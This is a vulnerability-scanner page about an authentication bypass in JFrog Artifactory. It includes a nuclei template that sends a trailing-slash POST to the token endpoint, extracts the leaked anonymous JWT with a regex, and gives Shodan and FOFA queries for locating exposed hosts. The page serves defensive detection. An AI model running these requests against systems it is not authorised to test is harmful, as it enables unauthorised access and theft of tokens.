JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass

Exploited in the wild. Listed by CISA on 2026-09-11; known to be used by ransomware.

highseverity

7.5CVSS score

10%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.

Impact

Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.

Fix

Update to the latest version where this issue is fixed.

How to confirm it

Send: POST /access/api/v1/aws/token
Positive when: status_code == 401
Send: POST /access/api/v1/aws/token/
Positive when: contains(body, "access_token") && contains(body, "anonymous") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-42018 -u <target>

The full check

id: CVE-2026-42018

info:
  name: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass
  author: theamanrawat
  severity: high
  description: |
    JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.
  impact: |
    Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.
  remediation: |
    Update to the latest version where this issue is fixed.
  reference:
    - https://docs.jfrog.com/releases/docs/jfrog-security-advisories
    - https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201
    - https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM
    - https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-42018
    epss-score: 0.09983
    epss-percentile: 0.95639
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"jfrog"
    fofa-query: title="jfrog"
  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /access/api/v1/aws/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /access/api/v1/aws/token/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token") && contains(body, "anonymous")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: anonymous-jwt-token
        part: body
        regex:
          - 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'

References

Use this check only on systems you are authorised to test. Where the data comes from